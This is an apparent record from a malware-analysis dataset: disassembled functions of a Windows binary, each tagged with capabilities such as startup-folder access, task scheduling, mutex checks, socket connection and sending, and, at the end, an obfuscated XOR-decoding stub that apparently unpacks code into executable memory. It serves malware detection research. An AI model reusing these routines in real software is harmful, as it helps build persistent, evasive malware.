joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408720
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44c45b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x17c
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x118
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x154]
push 0
push eax
movups xmmword [ebp - 0x38], xmm0
movups xmmword [ebp - 0x28], xmm0
call fcn.00436960
add esp, 0xc
mov dword [ebp - 0x158], 0x11c
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x4087ad
mov eax, 0x64
jmp 0x4088ef
sub esp, 0x18
mov ecx, esp
push 0x467448
call fcn.0041a110
lea ecx, [ebp - 0x18c]
call fcn.00405ec0
add esp, 0x18
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 0x10
jb 0x4087d9
mov eax, dword [eax]
push eax
sub esp, 0x18
mov ecx, esp
push 0x466e00
call fcn.0041a110
lea ecx, [ebp - 0x174]
call fcn.00405ec0
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x4087ff
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x160]
mov esi, eax
cmp edx, 0x10
jb 0x408849
mov ecx, dword [ebp - 0x174]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40883f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40890c
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x178]
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x160], 0xf
mov byte [ebp - 0x174], 0
cmp edx, 0x10
jb 0x4088a1
mov ecx, dword [ebp - 0x18c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408897
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40890c
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov dword [ebp - 0x17c], 0
lea eax, [ebp - 0x38]
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], 0
push eax
test esi, esi
je 0x4088c8
call esi
jmp 0x4088ce
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x154], 6
jb 0x4088ef
mov ax, word [ebp - 0x38]
cmp ax, 9
jne 0x4088e8
mov eax, 1
jmp 0x4088ef
test ax, ax
jne 0x4088ef
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041f862
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004394da
int3

Function at 0x408b50
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [ecx + 0x14], 0x10
jb 0x408b58
mov ecx, dword [ecx]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x408b6b
test al, 0x10
je 0x408b6b
mov al, 1
ret
xor al, al
ret
Function at 0x408ed0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44c551
mov eax, dword fs:[0]
push eax
sub esp, 0x158
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x11c], esi
lea eax, [ebp - 0x118]
mov dword [ebp - 0x11c], esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
sub esp, 0x18
mov ecx, esp
push 0x466d70
call fcn.0041a110
lea ecx, [ebp - 0x164]
call fcn.00405ec0
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x13c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x138], 0xf
mov byte [ebp - 0x14c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408f67
sub ecx, edx
lea eax, [ebp - 0x118]
push ecx
push eax
lea ecx, [ebp - 0x14c]
call fcn.0041a930
mov byte [ebp - 4], 1
lea eax, [ebp - 0x14c]
mov ecx, 3
mov dword [ebp - 0x124], 0
cmp dword [ebp - 0x13c], ecx
mov dword [ebp - 0x120], 0xf
cmovb ecx, dword [ebp - 0x13c]
cmp dword [ebp - 0x138], 0x10
push ecx
cmovae eax, dword [ebp - 0x14c]
lea ecx, [ebp - 0x134]
push eax
mov byte [ebp - 0x134], 0
call fcn.0041a930
push edi
lea edx, [ebp - 0x134]
mov byte [ebp - 4], 2
mov ecx, esi
call fcn.0041aa90
mov edx, dword [ebp - 0x120]
add esp, 4
cmp edx, 0x10
jb 0x409024
mov ecx, dword [ebp - 0x134]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40901a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4090c8
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov edx, dword [ebp - 0x138]
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
cmp edx, 0x10
jb 0x409075
mov ecx, dword [ebp - 0x14c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40906b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4090c8
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov edx, dword [ebp - 0x150]
cmp edx, 0x10
jb 0x4090ab
mov ecx, dword [ebp - 0x164]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4090a1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4090c8
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041f862
mov esp, ebp
pop ebp
ret
call fcn.004394da
int3
Function at 0x4090d0
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44c596
mov eax, dword fs:[0]
push eax
sub esp, 0x13c
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x118], esi
lea eax, [ebp - 0x114]
mov dword [ebp - 0x118], esi
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x18
mov ecx, esp
push 0x4672e0
call fcn.0041a110
lea ecx, [ebp - 0x148]
call fcn.00405ec0
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x120], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409170
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.0041a930
push edi
lea edx, [ebp - 0x130]
mov byte [ebp - 4], 1
mov ecx, esi
call fcn.0041aa90
mov edx, dword [ebp - 0x11c]
add esp, 4
cmp edx, 0x10
jb 0x4091d7
mov ecx, dword [ebp - 0x130]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4091cd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409245
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov edx, dword [ebp - 0x134]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp edx, 0x10
jb 0x409228
mov ecx, dword [ebp - 0x148]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40921e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409245
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041f862
mov esp, ebp
pop ebp
ret
call fcn.004394da
int3
Function at 0x409250
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44c596
mov eax, dword fs:[0]
push eax
sub esp, 0x13c
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x118], esi
lea eax, [ebp - 0x114]
mov dword [ebp - 0x118], esi
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x18
mov ecx, esp
push 0x4672e0
call fcn.0041a110
lea ecx, [ebp - 0x148]
call fcn.00405ec0
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x120], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4092f0
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.0041a930
push edi
lea edx, [ebp - 0x130]
mov byte [ebp - 4], 1
mov ecx, esi
call fcn.0041aa90
mov edx, dword [ebp - 0x11c]
add esp, 4
cmp edx, 0x10
jb 0x409357
mov ecx, dword [ebp - 0x130]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40934d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4093c5
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov edx, dword [ebp - 0x134]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp edx, 0x10
jb 0x4093a8
mov ecx, dword [ebp - 0x148]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40939e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4093c5
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041f862
mov esp, ebp
pop ebp
ret
call fcn.004394da
int3
Function at 0x4093d0
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44c5d6
mov eax, dword fs:[0]
push eax
sub esp, 0x140
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x11c], esi
lea eax, [ebp - 0x118]
mov dword [ebp - 0x11c], esi
push eax
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x18
mov ecx, esp
push 0x4672e0
call fcn.0041a110
lea ecx, [ebp - 0x14c]
call fcn.00405ec0
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x124], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409470
sub ecx, edx
lea eax, [ebp - 0x118]
push ecx
push eax
lea ecx, [ebp - 0x134]
call fcn.0041a930
push edi
lea edx, [ebp - 0x134]
mov byte [ebp - 4], 1
mov ecx, esi
call fcn.0041aa90
mov edx, dword [ebp - 0x120]
add esp, 4
cmp edx, 0x10
jb 0x4094d7
mov ecx, dword [ebp - 0x134]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4094cd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409545
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov edx, dword [ebp - 0x138]
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
cmp edx, 0x10
jb 0x409528
mov ecx, dword [ebp - 0x14c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40951e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409545
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041f862
mov esp, ebp
pop ebp
ret
call fcn.004394da
int3
Function at 0x40ad00
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x4671ec], 0x10
mov eax, 0x4671d8
cmovae eax, dword [0x4671d8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40ad37
ret
push 0
call fcn.00438e99
int3
Function at 0x40baf0
Capabilities:
Schedule task via itaskscheduler

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44c8d0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
add eax, ecx
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.0041ad80
mov byte [ebp - 4], 1
lea esi, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
push 0
cmovae esi, dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x40bb87
lea eax, [ebp - 0x2c]
push eax
push 0x45c340
push 1
push 0
push 0x45c330
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x40bc07
call dword [sym.imp.ole32.dll_CoUninitialize]
xor esi, esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40bbc3
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40bbb9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bc8a
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 0x10
jb 0x40bc6e
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40bc64
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bc8a
jmp 0x40bc64
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push 0x45c3c4
push 0x45be98
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x20]
test eax, eax
jns 0x40bb87
cmp eax, 0x80070050
jne 0x40bb87
mov eax, dword [ebp - 0x2c]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x40bc54
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x40bb87
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x40bb89
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041f862
mov esp, ebp
pop ebp
ret
call fcn.004394da
int3
Function at 0x40d720
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44cb40
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
mov edx, dword [ebp + 0x1c]
mov eax, edx
mov ecx, dword [ebp + 0x18]
sub eax, ecx
cmp eax, 1
jb 0x40d777
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x18], eax
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov word [eax + ecx], 0
jmp 0x40d78c
push 0
push 1
mov byte [ebp - 0x34], 0
lea ecx, [ebp + 8]
push dword [ebp - 0x34]
push 1
call fcn.0041b650
mov edx, dword [ebp + 0x34]
mov eax, edx
mov ecx, dword [ebp + 0x30]
sub eax, ecx
cmp eax, 1
jb 0x40d7b3
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x30], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov word [eax + ecx], 0
jmp 0x40d7c8
push 0
push 1
mov byte [ebp - 0x34], 0
lea ecx, [ebp + 0x20]
push dword [ebp - 0x34]
push 1
call fcn.0041b650
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x16], 0
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x34], 0x10
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov dword [ebp - 0x24], eax
mov eax, 0x610
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x30]
push eax
movlpd qword [ebp - 0x1e], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 2
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
cmp edx, 0x10
jb 0x40d846
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d83c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d8a4
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x40d888
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d87e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d8a4
push edx
push ecx
call fcn.0041fed9
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041f862
mov esp, ebp
pop ebp
ret
call fcn.004394da
int3
Function at 0x40e8d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x46a4dc
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], ecx
call fcn.0041ef1c
add esp, 4
test eax, eax
jne 0x40e9db
mov ecx, dword [0x46a490]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push esi
push edi
mov dword [ebp - 0xc], ecx
xor esi, esi
mov edi, 4
push 0
push edi
lea eax, [ebp - 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40e931
mov ecx, dword [ebp - 0xc]
add esi, eax
sub edi, eax
cmp esi, 4
jl 0x40e914
xor ecx, ecx
mov edi, 8
cmp eax, 0xffffffff
setne cl
dec ecx
xor esi, esi
mov dword [ebp - 0xc], ecx
mov ecx, dword [0x46a490]
mov dword [ebp - 0x10], ecx
nop dword [eax]
push 0
push edi
lea eax, [ebp + 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40e96d
mov ecx, dword [ebp - 0x10]
add esi, eax
sub edi, eax
cmp esi, 8
jl 0x40e950
mov edi, dword [ebp - 0xc]
or ecx, 0xffffffff
cmp eax, ecx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
cmove edi, ecx
mov ecx, dword [0x46a490]
xor esi, esi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x18], ecx
test eax, eax
jle 0x40e9b7
mov edi, eax
mov eax, dword [ebp - 0x14]
push 0
push edi
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40e9b4
mov ecx, dword [ebp - 0x18]
add esi, eax
sub edi, eax
cmp esi, dword [ebp - 0x10]
jl 0x40e992
mov edi, dword [ebp - 0xc]
jmp 0x40e9b7
or edi, 0xffffffff
push 0x46a4dc
call fcn.0041ef41
add esp, 4
test eax, eax
jne 0x40e9e1
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041f862
mov esp, ebp
pop ebp
ret
push eax
call fcn.0041eada
push eax
call fcn.0041eada
int3
Function at 0x40f050
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x20f8
call fcn.004209c0
mov eax, dword [0x466014]
xor eax, esp
mov dword [esp + 0x20f4], eax
push esi
push edi
call fcn.00439d83
cmp dword [0x4670e4], 0x10
mov edi, eax
push 0xa
lea eax, [esp + 0x10]
mov esi, 0x4670d0
cmovae esi, dword [0x4670d0]
push eax
push esi
mov dword [edi], 0
call fcn.0043b2b9
add esp, 0xc
cmp esi, dword [esp + 0xc]
je 0x40f1e4
cmp dword [edi], 0x22
je 0x40f1da
movzx edi, ax
lea eax, [esp + 0x28]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40f1c3
cmp dword [0x4673fc], 0x10
xorps xmm0, xmm0
mov eax, 2
movaps xmmword [esp + 0x10], xmm0
mov esi, 0x4673e8
mov word [esp + 0x10], ax
cmovae esi, dword [0x4673e8]
push edi
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x14]
push eax
push esi
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x46a490], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x40f173
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
push 0xbb8
call edi
push dword [0x46a490]
call esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x46a490], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40f140
lea ecx, [esp + 0x1b8]
call fcn.0040edb0
cmp eax, 0xffffffff
je 0x40f1c3
cmp byte [0x46a38c], 1
je 0x40f1b4
lea ecx, [esp + 0x1b8]
call fcn.0040edb0
cmp eax, 0xffffffff
jne 0x40f184
or eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x20f4]
xor ecx, esp
call fcn.0041f862
mov esp, ebp
pop ebp
ret
push dword [0x46a490]
call esi
mov byte [0x46a38c], 0
mov ecx, dword [esp + 0x20fc]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, esp
call fcn.0041f862
mov esp, ebp
pop ebp
ret
push str.stoi_argument_out_of_range
call fcn.0041ea49
push str.invalid_stoi_argument
call fcn.0041ea09
int3
Function at 0x419330
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4191b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x419240
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4192d0
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call esi
jmp 0x419320
push ebp
mov ebp, esp
and esp, 0xfffffff8
call fcn.0040ad00
mov ecx, 1
call fcn.0040dbd0
call fcn.0040e460
call fcn.00415ff0
jmp 0x4192e0

Function at 0x4223fe
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x4209ab
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4209ea
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4209ea
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4209ea
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4209ea
cmp dword [ecx + 0x74], 0xe
jbe 0x4209ea
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433160
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43318d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43318d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10004cea
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
test eax, eax
je 0x10004d29
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10004d29
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10004d29
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10004d29
cmp dword [ecx + 0x74], 0xe
jbe 0x10004d29
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10009f4d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10009f5c
pop dword [ebp - 0x10]
mov eax, 0x5b98b5c9
add eax, 0xb467e993
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xbf635652
sub dword [ebp - 0x20], 0x71111107
mov dword [ebp - 0x1c], 0xf504665d
add dword [ebp - 0x1c], 0x3d2ee5e8
mov dword [ebp - 0x18], 0xdeb94b66
add dword [ebp - 0x18], 0x6d92f8c8
mov dword [ebp - 0x14], 0xeb31db7d
add dword [ebp - 0x14], 0x14ce2483
lea eax, [ebp - 0x20]
push eax
mov eax, 0x18264bc2
sub eax, 0x8256bc2
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x365e8f42
add dword [ebp - 0x20], 0x3e13da14
mov dword [ebp - 0x1c], 0x3b9ffae6
add dword [ebp - 0x1c], 0x5cc668f
mov dword [ebp - 0x18], 0xcb89f9b0
sub dword [ebp - 0x18], 0x681a8d44
mov dword [ebp - 0x14], 0x9985c1c8
sub dword [ebp - 0x14], 0x9985c1c8
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x9e47ae1b
sub eax, 0x8e46ce17
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x39920
push 0
call eax
mov ecx, 0x936857d7
sub ecx, 0x936810dd
mov edx, eax
mov esi, 0x10024000
add esi, dword [ebp - 0x10]
mov ebx, 0xcb94b5d1
sub ebx, 0x8eeb435e
sub dword [ebp - 8], eax
mov edi, dword [esi]
xor dword [ebp - 4], edi
sub edi, ebx
sub dword [ebp - 0xc], ecx
mov dword [edx], edi
add dword [ebp - 0xc], esi
add edx, 0xa4a2e3b1
sub edx, 0xa4a2e3ad
add esi, 0x2e53ca94
sub esi, 0x2e53ca90
loop 0x1000a078
add eax, 0xbfeb8180
